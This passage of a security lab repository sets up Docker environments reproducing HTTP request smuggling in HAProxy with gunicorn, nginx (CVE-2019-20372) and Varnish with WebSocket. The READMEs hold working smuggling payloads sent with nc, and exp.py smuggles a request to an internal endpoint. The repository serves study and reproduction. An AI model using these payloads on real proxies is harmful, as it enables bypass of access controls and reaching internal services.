65\r\n'\ 36 | '\r\n'\ 37 | '0\r\n'\ 38 | '\r\n'\ 39 | 'POST / HTTP/1.1\r\n'\ 40 | 'Host: localhost\r\n'\ 41 | 'Content-Length: 1\r\n'\ 42 | '\r\n'\ 43 | '0'\ 44 | | nc 127.0.0.1 9013 45 | ``` 46 | 47 | You will get two responses. 48 | 49 | ```http 50 | HTTP/1.1 200 OK 51 | Server: gunicorn/20.0.4 52 | Date: Mon, 06 Jul 2020 07:45:37 GMT 53 | Connection: keep-alive 54 | Content-Type: text/html; charset=utf-8 55 | Content-Length: 0 56 | ``` 57 | 58 | ```http 59 | HTTP/1.1 200 OK 60 | Server: gunicorn/20.0.4 61 | Date: Mon, 06 Jul 2020 07:45:37 GMT 62 | Connection: keep-alive 63 | Content-Type: text/html; charset=utf-8 64 | Content-Length: 1 65 | 66 | 0 67 | ``` 68 | 69 | 70 | 71 | For haproxy, the following http request is just one request. It will ignore the `Transfer-Encoding` header and use `Content-Length` header to parse the post body. And more importantly, haproxy will pass the `Transfer-Encoding:[\x0b] chunked` to backend server gunicorn. 72 | 73 | ```http 74 | POST / HTTP/1.1 75 | Host: localhost 76 | Transfer-Encoding:[\x0b] chunked 77 | Connection:keep-alive 78 | Content-Length: 65 79 | 80 | 0 81 | 82 | POST / HTTP/1.1 83 | Host: localhost 84 | Content-Length: 1 85 | 86 | 0 87 | ``` 88 | 89 | So, for gunicorn, the http request are two requests because it use `Transfer-Encoding` header to parse the post body. The first request is this. 90 | 91 | ```http 92 | POST / HTTP/1.1 93 | Host: localhost 94 | Transfer-Encoding:[\x0b] chunked 95 | Connection:keep-alive 96 | Content-Length: 65 97 | 98 | 0 99 | ``` 100 | 101 | The second request is this. 102 | 103 | ```http 104 | POST / HTTP/1.1 105 | Host: localhost 106 | Content-Length: 1 107 | 108 | 0 109 | ``` 110 | 111 | 112 | 113 | For details, you can build a echo server instead of gunicorn to see how haproxy deal with the `Transfer-Encoding:[\x0b] chunked` header. 114 | 115 | # Reference 116 | 117 | [HAProxy HTTP request smuggling](https://nathandavison.com/blog/haproxy-http-request-smuggling) 118 | 119 | [DefCon 2020 Quals uploooadit](https://github.com/o-o-overflow/dc2020q-uploooadit) 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /lab3/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host: localhost\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 9013 6 | 7 | printf 'GET / HTTP/1.1\r\n'\ 8 | 'Host: localhost\r\n'\ 9 | 'Connection: close\r\n'\ 10 | '\r\n'\ 11 | | nc 127.0.0.1 9014 -------------------------------------------------------------------------------- /lab3/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | haproxy: 4 | image: labhaproxy2 5 | build: 6 | context: . 7 | dockerfile: haproxy.dockerfile 8 | expose: 9 | - 80 10 | ports: 11 | - "9013:80" 12 | depends_on: 13 | - gunicorn 14 | gunicorn: 15 | image: labgunicorn 16 | build: 17 | context: . 18 | dockerfile: gunicorn.dockerfile 19 | ports: 20 | - "9014:6767" 21 | -------------------------------------------------------------------------------- /lab3/gunicorn.dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | LABEL maintainer="zeddyu.lu@gmail.com" 3 | COPY ./src /app 4 | WORKDIR /app 5 | RUN pip install flask flask_socketio flask_restful eventlet gunicorn==20.0.4 gevent 6 | EXPOSE 6767 7 | CMD [ "gunicorn","--keep-alive", "10", "-k","gevent","--bind", "0.0.0.0:6767","-w","4","app:app" ] 8 | # ENTRYPOINT ["gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:6767 -w 4 app:app"] -------------------------------------------------------------------------------- /lab3/haproxy.dockerfile: -------------------------------------------------------------------------------- 1 | FROM haproxy:1.9.10 2 | EXPOSE 80 3 | 4 | RUN echo 'defaults\n\ 5 | mode http\n\ 6 | timeout http-keep-alive 10s\n\ 7 | timeout connect 5s\n\ 8 | timeout server 60s\n\ 9 | timeout client 30s\n\ 10 | timeout http-request 30s\n\ 11 | \n\ 12 | backend web\n\ 13 | http-reuse always\n\ 14 | server web0 gunicorn:6767\n\ 15 | \n\ 16 | frontend http\n\ 17 | bind *:80\n\ 18 | timeout client 5s\n\ 19 | timeout http-request 10s\n\ 20 | default_backend web\n\ 21 | \n\ 22 | \n'> /usr/local/etc/haproxy/haproxy.cfg 23 | 24 | CMD ["haproxy", "-f", "/usr/local/etc/haproxy/haproxy.cfg"] 25 | -------------------------------------------------------------------------------- /lab3/src/app.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from flask import Flask, request 3 | 4 | app = Flask(__name__) 5 | 6 | @app.route('/', methods=['GET', 'POST']) 7 | def post(): 8 | # return str(request.headers) + str(request.get_data()) 9 | return request.get_data() 10 | 11 | if __name__ == '__main__': 12 | app.debug = False 13 | app.run() -------------------------------------------------------------------------------- /nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:1.17.6 2 | EXPOSE 80 -------------------------------------------------------------------------------- /nginx/README.md: -------------------------------------------------------------------------------- 1 | # Nginx - Http Smuggling [CVE-2019-20372] 2 | 3 | ## Composition 4 | 5 | Nginx 1.17.6 6 | 7 | 8 | 9 | ## Usage 10 | 11 | Only for PoC. 12 | 13 | ### build 14 | 15 | ```bash 16 | docker-compose up -d 17 | ``` 18 | 19 | The nginx server will on the port 9015. 20 | 21 | 22 | 23 | ### check 24 | 25 | ```bash 26 | $ chmod +x check.sh;./check.sh|grep HTTP 27 | HTTP/1.1 302 Moved Temporarily 28 | ``` 29 | 30 | 1 HTTP code 302 means all right! 31 | 32 | Enjoy! 33 | 34 | 35 | 36 | ### reproduce 37 | 38 | ```bash 39 | printf 'GET /a HTTP/1.1\r\n'\ 40 | 'Host: localhost\r\n'\ 41 | 'Content-Length: 56\r\n'\ 42 | '\r\n'\ 43 | 'GET /_hidden/index.html HTTP/1.1\r\n'\ 44 | 'Host: notlocalhost\r\n'\ 45 | '\r\n'\ 46 | |nc 127.0.0.1 9015 47 | ``` 48 | 49 | Try the command above and you will get two responses as following. 50 | 51 | ```http 52 | HTTP/1.1 302 Moved Temporarily 53 | Server: nginx/1.17.6 54 | Date: Sat, 04 Jan 2020 04:23:26 GMT 55 | Content-Type: text/html 56 | Content-Length: 145 57 | Connection: keep-alive 58 | Location: http://example.org 59 | 60 | 61 | 302 Found 62 | 63 |

302 Found

64 |
nginx/1.17.6
65 | 66 | 67 | HTTP/1.1 200 OK 68 | Server: nginx/1.17.6 69 | Date: Sat, 04 Jan 2020 04:23:26 GMT 70 | Content-Type: text/html 71 | Content-Length: 22 72 | Connection: keep-alive 73 | 74 | This should be hidden! 75 | ``` 76 | 77 | 78 | 79 | # Openresty[CVE-2020-11724] 80 | 81 | [OpenResty](https://github.com/openresty/openresty) is a full-fledged web application server by bundling the standard nginx core, lots of 3rd-party nginx modules, as well as most of their external dependencies. 82 | 83 | OpenResty includes Nginx as a component and does include its own nginx core patches. So it is affected by CVE-2019-20372. And its configuration is the same as the nginx. POC is also the same. 84 | 85 | 86 | 87 | # Reference 88 | 89 | https://bertjwregeer.keybase.pub/2019-12-10%20-%20error_page%20request%20smuggling.pdf -------------------------------------------------------------------------------- /nginx/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host: localhost\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | |nc 127.0.0.1 9015 6 | -------------------------------------------------------------------------------- /nginx/conf.d/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | server_name localhost; 4 | error_page 401 http://example.org; 5 | location / { 6 | return 401; 7 | } 8 | } 9 | 10 | server { 11 | listen 80; 12 | server_name notlocalhost; 13 | location /_hidden/index.html { 14 | return 200 'This should be hidden!'; 15 | } 16 | } -------------------------------------------------------------------------------- /nginx/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | nginx_1_17_6: 4 | image: nginx:1.17.6 5 | volumes: 6 | - ./conf.d/:/etc/nginx/conf.d/ 7 | ports: 8 | - "9015:80" -------------------------------------------------------------------------------- /websocket/lab1/README.md: -------------------------------------------------------------------------------- 1 | # Websocket - HTTP Smuggling 2 | ## Composition 3 | 4 | 1.Varnish 5 | 6 | 2.Flask 7 | 8 | ``` 9 | +---[9020]---+ 10 | | 9020->80 | 11 | | Varnish | 12 | | | 13 | +---+---+----+ 14 | [apache.net] | | [flask.net] 15 | +-------+ +-------+ 16 | | | 17 | +---[80]-----+ +---[5000]---+ 18 | | Apahce | | Flask | 19 | | | | | 20 | | | | | 21 | +-----+------+ +----+-------+ 22 | ``` 23 | 24 | 25 | 26 | 27 | 28 | ## Usage 29 | 30 | Only for POC. 31 | 32 | ### build 33 | 34 | ```bash 35 | docker-compose up 36 | ``` 37 | 38 | The varnish server will on the port 9020. 39 | 40 | 41 | 42 | ### check 43 | 44 | Visit http://localhost:9020/, you will see this: 45 | 46 | ![](img/img1.png) 47 | 48 | It means OK! 49 | 50 | Visit http://localhost:9020/websocket.html, you will see a websocket example. 51 | 52 | ![](img/img2.png) 53 | 54 | Your goal is to get the flag on the internal network flask.net. The url is /flag. Obviously you can't access the /flag from the outer network. 55 | 56 | 57 | 58 | ### reproduce 59 | 60 | There is something different from the original online environment. You need to add the filed name `Connection`. 61 | 62 | It seems like the varnish config file is important. But the author doesn't disclosure the file. 63 | 64 | The exp is in the exp/exp.py. And you need python2. 65 | 66 | 67 | 68 | # Reference 69 | 70 | https://github.com/0ang3el/websocket-smuggle -------------------------------------------------------------------------------- /websocket/lab1/apache.dockerfile: -------------------------------------------------------------------------------- 1 | FROM httpd:latest 2 | MAINTAINER Zedd 3 | 4 | ENV LANG en_US.UTF-8 5 | ENV LANGUAGE en_US:en 6 | ENV LC_ALL en_US.UTF-8 7 | 8 | COPY src/websocket.html /usr/local/apache2/htdocs/ 9 | 10 | WORKDIR /usr/local/apache2/htdocs 11 | EXPOSE 80 -------------------------------------------------------------------------------- /websocket/lab1/conf/default.vcl: -------------------------------------------------------------------------------- 1 | vcl 4.0; 2 | backend apache { 3 | .host = "apache"; 4 | .port = "80"; 5 | } 6 | backend flask { 7 | .host = "flask"; 8 | .port = "5000"; 9 | } 10 | 11 | sub vcl_pipe { 12 | if (req.http.upgrade) { 13 | set bereq.http.upgrade = req.http.upgrade; 14 | set bereq.http.connection = req.http.connection; 15 | } 16 | } 17 | sub vcl_recv { 18 | if (req.url ~ "^/socket.io/") { 19 | set req.backend_hint = flask; 20 | } else { 21 | set req.backend_hint = apache; 22 | } 23 | 24 | if (req.http.Upgrade ~ "(?i)websocket") { 25 | set req.backend_hint = flask; 26 | return (pipe); 27 | } 28 | else { 29 | set req.backend_hint = apache; 30 | } 31 | } -------------------------------------------------------------------------------- /websocket/lab1/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | varnish: 4 | image: websocket-varnish 5 | build: 6 | context: . 7 | dockerfile: varnish.dockerfile 8 | ports: 9 | - "9020:80" 10 | depends_on: 11 | - apache 12 | - flask 13 | apache: 14 | image: websocket-apache 15 | build: 16 | context: . 17 | dockerfile: apache.dockerfile 18 | flask: 19 | image: websocket-flask 20 | build: 21 | context: . 22 | dockerfile: flask.dockerfile -------------------------------------------------------------------------------- /websocket/lab1/exp/exp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | req1 = """GET /socket.io/?EIO=3&transport=websocket HTTP/1.1 4 | Host: localhost:9020 5 | Sec-WebSocket-Version: 13 6 | Upgrade: websocket 7 | Connection: Upgrade 8 | 9 | """.replace('\n', '\r\n') 10 | 11 | 12 | req2 = """GET /flag HTTP/1.1 13 | Host: flask.net:5000 14 | 15 | """.replace('\n', '\r\n') 16 | 17 | def main(netloc): 18 | host, port = netloc.split(':') 19 | 20 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | sock.connect((host, int(port))) 22 | 23 | sock.sendall(req1) 24 | data = sock.recv(4096) 25 | print(data) 26 | 27 | sock.sendall(req2) 28 | data = sock.recv(4096) 29 | data = data.decode(errors = 'ignore') 30 | 31 | print(data) 32 | 33 | sock.shutdown(socket.SHUT_RDWR) 34 | sock.close() 35 | 36 | if __name__ == "__main__": 37 | main('localhost:9020') -------------------------------------------------------------------------------- /websocket/lab1/flask.dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | LABEL maintainer="zeddyu.lu@gmail.com" 3 | COPY ./src /app 4 | WORKDIR /app 5 | RUN pip install flask flask_socketio flask_restful eventlet 6 | EXPOSE 5000 7 | ENTRYPOINT ["python", "/app/app.py"] -------------------------------------------------------------------------------- /websocket/lab1/img/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeddYu/HTTP-Smuggling-Lab/fb65480b304b01b74d227a8a4053b1e69ea172be/websocket/lab1/img/img1.png -------------------------------------------------------------------------------- /websocket/lab1/img/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeddYu/HTTP-Smuggling-Lab/fb65480b304b01b74d227a8a4053b1e69ea172be/websocket/lab1/img/img2.png -------------------------------------------------------------------------------- /websocket/lab1/src/app.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from flask import Flask, render_template 4 | from flask_socketio import SocketIO 5 | from flask_restful import Resource, Api 6 | 7 | 8 | app = Flask(__name__) 9 | api = Api(app) 10 | socketio = SocketIO(app, cors_allowed_origins="*") 11 | 12 | 13 | @app.route('/') 14 | def index(): 15 | return render_template('index.html') 16 | 17 | 18 | class InternalAPI(Resource): 19 | def get(self): 20 | return {'message': 'You\'ve accessed internal API!'} 21 | 22 | 23 | class Flag(Resource): 24 | def get(self): 25 | return {'flag': 'In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!'} 26 | 27 | 28 | api.add_resource(Flag, '/flag') 29 | api.add_resource(InternalAPI, '/api/internal') 30 | 31 | 32 | @socketio.on('my event') 33 | def handle_my_custom_event(json): 34 | print('received json: ' + str(json)) 35 | pass 36 | 37 | 38 | if __name__ == '__main__': 39 | socketio.run(app, host='0.0.0.0', port=5000, debug=True) -------------------------------------------------------------------------------- /websocket/lab1/src/static/socket.io.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Socket.IO v2.2.0 3 | * (c) 2014-2018 Guillermo Rauch 4 | * Released under the MIT License. 5 | */ 6 | !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.io=e():t.io=e()}(this,function(){return function(t){function e(r){if(n[r])return n[r].exports;var o=n[r]={exports:{},id:r,loaded:!1};return t[r].call(o.exports,o,o.exports,e),o.loaded=!0,o.exports}var n={};return e.m=t,e.c=n,e.p="",e(0)}([function(t,e,n){"use strict";function r(t,e){"object"===("undefined"==typeof t?"undefined":o(t))&&(e=t,t=void 0),e=e||{};var n,r=i(t),s=r.source,u=r.id,h=r.path,f=p[u]&&h in p[u].nsps,l=e.forceNew||e["force new connection"]||!1===e.multiplex||f;return l?(c("ignoring socket cache for %s",s),n=a(s,e)):(p[u]||(c("new io instance for %s",s),p[u]=a(s,e)),n=p[u]),r.query&&!e.query&&(e.query=r.query),n.socket(r.path,e)}var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},i=n(1),s=n(7),a=n(12),c=n(3)("socket.io-client");t.exports=e=r;var p=e.managers={};e.protocol=s.protocol,e.connect=r,e.Manager=n(12),e.Socket=n(36)},function(t,e,n){"use strict";function r(t,e){var n=t;e=e||"undefined"!=typeof location&&location,null==t&&(t=e.protocol+"//"+e.host),"string"==typeof t&&("/"===t.charAt(0)&&(t="/"===t.charAt(1)?e.protocol+t:e.host+t),/^(https?|wss?):\/\//.test(t)||(i("protocol-less url %s",t),t="undefined"!=typeof e?e.protocol+"//"+t:"https://"+t),i("parse %s",t),n=o(t)),n.port||(/^(http|ws)$/.test(n.protocol)?n.port="80":/^(http|ws)s$/.test(n.protocol)&&(n.port="443")),n.path=n.path||"/";var r=n.host.indexOf(":")!==-1,s=r?"["+n.host+"]":n.host;return n.id=n.protocol+"://"+s+":"+n.port,n.href=n.protocol+"://"+s+(e&&e.port===n.port?"":":"+n.port),n}var o=n(2),i=n(3)("socket.io-client:url");t.exports=r},function(t,e){var n=/^(?:(?![^:@]+:[^:@\/]*@)(http|https|ws|wss):\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/,r=["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"];t.exports=function(t){var e=t,o=t.indexOf("["),i=t.indexOf("]");o!=-1&&i!=-1&&(t=t.substring(0,o)+t.substring(o,i).replace(/:/g,";")+t.substring(i,t.length));for(var s=n.exec(t||""),a={},c=14;c--;)a[r[c]]=s[c]||"";return o!=-1&&i!=-1&&(a.source=e,a.host=a.host.substring(1,a.host.length-1).replace(/;/g,":"),a.authority=a.authority.replace("[","").replace("]","").replace(/;/g,":"),a.ipv6uri=!0),a}},function(t,e,n){(function(r){function o(){return!("undefined"==typeof window||!window.process||"renderer"!==window.process.type)||("undefined"==typeof navigator||!navigator.userAgent||!navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/))&&("undefined"!=typeof document&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||"undefined"!=typeof window&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/))}function i(t){var n=this.useColors;if(t[0]=(n?"%c":"")+this.namespace+(n?" %c":" ")+t[0]+(n?"%c ":" ")+"+"+e.humanize(this.diff),n){var r="color: "+this.color;t.splice(1,0,r,"color: inherit");var o=0,i=0;t[0].replace(/%[a-zA-Z%]/g,function(t){"%%"!==t&&(o++,"%c"===t&&(i=o))}),t.splice(i,0,r)}}function s(){return"object"==typeof console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function a(t){try{null==t?e.storage.removeItem("debug"):e.storage.debug=t}catch(n){}}function c(){var t;try{t=e.storage.debug}catch(n){}return!t&&"undefined"!=typeof r&&"env"in r&&(t=r.env.DEBUG),t}function p(){try{return window.localStorage}catch(t){}}e=t.exports=n(5),e.log=s,e.formatArgs=i,e.save=a,e.load=c,e.useColors=o,e.storage="undefined"!=typeof chrome&&"undefined"!=typeof chrome.storage?chrome.storage.local:p(),e.colors=["#0000CC","#0000FF","#0033CC","#0033FF","#0066CC","#0066FF","#0099CC","#0099FF","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#3300CC","#3300FF","#3333CC","#3333FF","#3366CC","#3366FF","#3399CC","#3399FF","#33CC00","#33CC33","#33CC66","#33CC99","#33CCCC","#33CCFF","#6600CC","#6600FF","#6633CC","#6633FF","#66CC00","#66CC33","#9900CC","#9900FF","#9933CC","#9933FF","#99CC00","#99CC33","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#CC6600","#CC6633","#CC9900","#CC9933","#CCCC00","#CCCC33","#FF0000","#FF0033","#FF0066","#FF0099","#FF00CC","#FF00FF","#FF3300","#FF3333","#FF3366","#FF3399","#FF33CC","#FF33FF","#FF6600","#FF6633","#FF9900","#FF9933","#FFCC00","#FFCC33"],e.formatters.j=function(t){try{return JSON.stringify(t)}catch(e){return"[UnexpectedJSONParseError]: "+e.message}},e.enable(c())}).call(e,n(4))},function(t,e){function n(){throw new Error("setTimeout has not been defined")}function r(){throw new Error("clearTimeout has not been defined")}function o(t){if(u===setTimeout)return setTimeout(t,0);if((u===n||!u)&&setTimeout)return u=setTimeout,setTimeout(t,0);try{return u(t,0)}catch(e){try{return u.call(null,t,0)}catch(e){return u.call(this,t,0)}}}function i(t){if(h===clearTimeout)return clearTimeout(t);if((h===r||!h)&&clearTimeout)return h=clearTimeout,clearTimeout(t);try{return h(t)}catch(e){try{return h.call(null,t)}catch(e){return h.call(this,t)}}}function s(){y&&l&&(y=!1,l.length?d=l.concat(d):m=-1,d.length&&a())}function a(){if(!y){var t=o(s);y=!0;for(var e=d.length;e;){for(l=d,d=[];++m1)for(var n=1;n100)){var e=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(t);if(e){var n=parseFloat(e[1]),r=(e[2]||"ms").toLowerCase();switch(r){case"years":case"year":case"yrs":case"yr":case"y":return n*u;case"days":case"day":case"d":return n*p;case"hours":case"hour":case"hrs":case"hr":case"h":return n*c;case"minutes":case"minute":case"mins":case"min":case"m":return n*a;case"seconds":case"second":case"secs":case"sec":case"s":return n*s;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return n;default:return}}}}function r(t){return t>=p?Math.round(t/p)+"d":t>=c?Math.round(t/c)+"h":t>=a?Math.round(t/a)+"m":t>=s?Math.round(t/s)+"s":t+"ms"}function o(t){return i(t,p,"day")||i(t,c,"hour")||i(t,a,"minute")||i(t,s,"second")||t+" ms"}function i(t,e,n){if(!(t0)return n(t);if("number"===i&&isNaN(t)===!1)return e["long"]?o(t):r(t);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(t))}},function(t,e,n){function r(){}function o(t){var n=""+t.type;if(e.BINARY_EVENT!==t.type&&e.BINARY_ACK!==t.type||(n+=t.attachments+"-"),t.nsp&&"/"!==t.nsp&&(n+=t.nsp+","),null!=t.id&&(n+=t.id),null!=t.data){var r=i(t.data);if(r===!1)return g;n+=r}return f("encoded %j as %s",t,n),n}function i(t){try{return JSON.stringify(t)}catch(e){return!1}}function s(t,e){function n(t){var n=d.deconstructPacket(t),r=o(n.packet),i=n.buffers;i.unshift(r),e(i)}d.removeBlobs(t,n)}function a(){this.reconstructor=null}function c(t){var n=0,r={type:Number(t.charAt(0))};if(null==e.types[r.type])return h("unknown packet type "+r.type);if(e.BINARY_EVENT===r.type||e.BINARY_ACK===r.type){for(var o="";"-"!==t.charAt(++n)&&(o+=t.charAt(n),n!=t.length););if(o!=Number(o)||"-"!==t.charAt(n))throw new Error("Illegal attachments");r.attachments=Number(o)}if("/"===t.charAt(n+1))for(r.nsp="";++n;){var i=t.charAt(n);if(","===i)break;if(r.nsp+=i,n===t.length)break}else r.nsp="/";var s=t.charAt(n+1);if(""!==s&&Number(s)==s){for(r.id="";++n;){var i=t.charAt(n);if(null==i||Number(i)!=i){--n;break}if(r.id+=t.charAt(n),n===t.length)break}r.id=Number(r.id)}if(t.charAt(++n)){var a=p(t.substr(n)),c=a!==!1&&(r.type===e.ERROR||y(a));if(!c)return h("invalid payload");r.data=a}return f("decoded %s as %j",t,r),r}function p(t){try{return JSON.parse(t)}catch(e){return!1}}function u(t){this.reconPack=t,this.buffers=[]}function h(t){return{type:e.ERROR,data:"parser error: "+t}}var f=n(3)("socket.io-parser"),l=n(8),d=n(9),y=n(10),m=n(11);e.protocol=4,e.types=["CONNECT","DISCONNECT","EVENT","ACK","ERROR","BINARY_EVENT","BINARY_ACK"],e.CONNECT=0,e.DISCONNECT=1,e.EVENT=2,e.ACK=3,e.ERROR=4,e.BINARY_EVENT=5,e.BINARY_ACK=6,e.Encoder=r,e.Decoder=a;var g=e.ERROR+'"encode error"';r.prototype.encode=function(t,n){if(f("encoding packet %j",t),e.BINARY_EVENT===t.type||e.BINARY_ACK===t.type)s(t,n);else{var r=o(t);n([r])}},l(a.prototype),a.prototype.add=function(t){var n;if("string"==typeof t)n=c(t),e.BINARY_EVENT===n.type||e.BINARY_ACK===n.type?(this.reconstructor=new u(n),0===this.reconstructor.reconPack.attachments&&this.emit("decoded",n)):this.emit("decoded",n);else{if(!m(t)&&!t.base64)throw new Error("Unknown type: "+t);if(!this.reconstructor)throw new Error("got binary data when not reconstructing a packet");n=this.reconstructor.takeBinaryData(t),n&&(this.reconstructor=null,this.emit("decoded",n))}},a.prototype.destroy=function(){this.reconstructor&&this.reconstructor.finishedReconstruction()},u.prototype.takeBinaryData=function(t){if(this.buffers.push(t),this.buffers.length===this.reconPack.attachments){var e=d.reconstructPacket(this.reconPack,this.buffers);return this.finishedReconstruction(),e}return null},u.prototype.finishedReconstruction=function(){this.reconPack=null,this.buffers=[]}},function(t,e,n){function r(t){if(t)return o(t)}function o(t){for(var e in r.prototype)t[e]=r.prototype[e];return t}t.exports=r,r.prototype.on=r.prototype.addEventListener=function(t,e){return this._callbacks=this._callbacks||{},(this._callbacks["$"+t]=this._callbacks["$"+t]||[]).push(e),this},r.prototype.once=function(t,e){function n(){this.off(t,n),e.apply(this,arguments)}return n.fn=e,this.on(t,n),this},r.prototype.off=r.prototype.removeListener=r.prototype.removeAllListeners=r.prototype.removeEventListener=function(t,e){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var n=this._callbacks["$"+t];if(!n)return this;if(1==arguments.length)return delete this._callbacks["$"+t],this;for(var r,o=0;o0&&!this.encoding){var t=this.packetBuffer.shift();this.packet(t)}},r.prototype.cleanup=function(){h("cleanup");for(var t=this.subs.length,e=0;e=this._reconnectionAttempts)h("reconnect failed"),this.backoff.reset(),this.emitAll("reconnect_failed"),this.reconnecting=!1;else{var e=this.backoff.duration();h("will wait %dms before reconnect attempt",e),this.reconnecting=!0;var n=setTimeout(function(){t.skipReconnect||(h("attempting reconnect"),t.emitAll("reconnect_attempt",t.backoff.attempts),t.emitAll("reconnecting",t.backoff.attempts),t.skipReconnect||t.open(function(e){e?(h("reconnect attempt error"),t.reconnecting=!1,t.reconnect(),t.emitAll("reconnect_error",e.data)):(h("reconnect success"),t.onreconnect())}))},e);this.subs.push({destroy:function(){clearTimeout(n)}})}},r.prototype.onreconnect=function(){var t=this.backoff.attempts;this.reconnecting=!1,this.backoff.reset(),this.updateSocketIds(),this.emitAll("reconnect",t)}},function(t,e,n){t.exports=n(14),t.exports.parser=n(21)},function(t,e,n){function r(t,e){return this instanceof r?(e=e||{},t&&"object"==typeof t&&(e=t,t=null),t?(t=u(t),e.hostname=t.host,e.secure="https"===t.protocol||"wss"===t.protocol,e.port=t.port,t.query&&(e.query=t.query)):e.host&&(e.hostname=u(e.host).host),this.secure=null!=e.secure?e.secure:"undefined"!=typeof location&&"https:"===location.protocol,e.hostname&&!e.port&&(e.port=this.secure?"443":"80"),this.agent=e.agent||!1,this.hostname=e.hostname||("undefined"!=typeof location?location.hostname:"localhost"),this.port=e.port||("undefined"!=typeof location&&location.port?location.port:this.secure?443:80),this.query=e.query||{},"string"==typeof this.query&&(this.query=h.decode(this.query)),this.upgrade=!1!==e.upgrade,this.path=(e.path||"/engine.io").replace(/\/$/,"")+"/",this.forceJSONP=!!e.forceJSONP,this.jsonp=!1!==e.jsonp,this.forceBase64=!!e.forceBase64,this.enablesXDR=!!e.enablesXDR,this.timestampParam=e.timestampParam||"t",this.timestampRequests=e.timestampRequests,this.transports=e.transports||["polling","websocket"],this.transportOptions=e.transportOptions||{},this.readyState="",this.writeBuffer=[],this.prevBufferLen=0,this.policyPort=e.policyPort||843,this.rememberUpgrade=e.rememberUpgrade||!1,this.binaryType=null,this.onlyBinaryUpgrades=e.onlyBinaryUpgrades,this.perMessageDeflate=!1!==e.perMessageDeflate&&(e.perMessageDeflate||{}),!0===this.perMessageDeflate&&(this.perMessageDeflate={}),this.perMessageDeflate&&null==this.perMessageDeflate.threshold&&(this.perMessageDeflate.threshold=1024),this.pfx=e.pfx||null,this.key=e.key||null,this.passphrase=e.passphrase||null,this.cert=e.cert||null,this.ca=e.ca||null,this.ciphers=e.ciphers||null,this.rejectUnauthorized=void 0===e.rejectUnauthorized||e.rejectUnauthorized,this.forceNode=!!e.forceNode,this.isReactNative="undefined"!=typeof navigator&&"string"==typeof navigator.product&&"reactnative"===navigator.product.toLowerCase(),("undefined"==typeof self||this.isReactNative)&&(e.extraHeaders&&Object.keys(e.extraHeaders).length>0&&(this.extraHeaders=e.extraHeaders),e.localAddress&&(this.localAddress=e.localAddress)),this.id=null,this.upgrades=null,this.pingInterval=null,this.pingTimeout=null,this.pingIntervalTimer=null,this.pingTimeoutTimer=null,void this.open()):new r(t,e)}function o(t){var e={};for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return e}var i=n(15),s=n(8),a=n(3)("engine.io-client:socket"),c=n(35),p=n(21),u=n(2),h=n(29);t.exports=r,r.priorWebsocketSuccess=!1,s(r.prototype),r.protocol=p.protocol,r.Socket=r,r.Transport=n(20),r.transports=n(15),r.parser=n(21),r.prototype.createTransport=function(t){a('creating transport "%s"',t);var e=o(this.query);e.EIO=p.protocol,e.transport=t;var n=this.transportOptions[t]||{};this.id&&(e.sid=this.id);var r=new 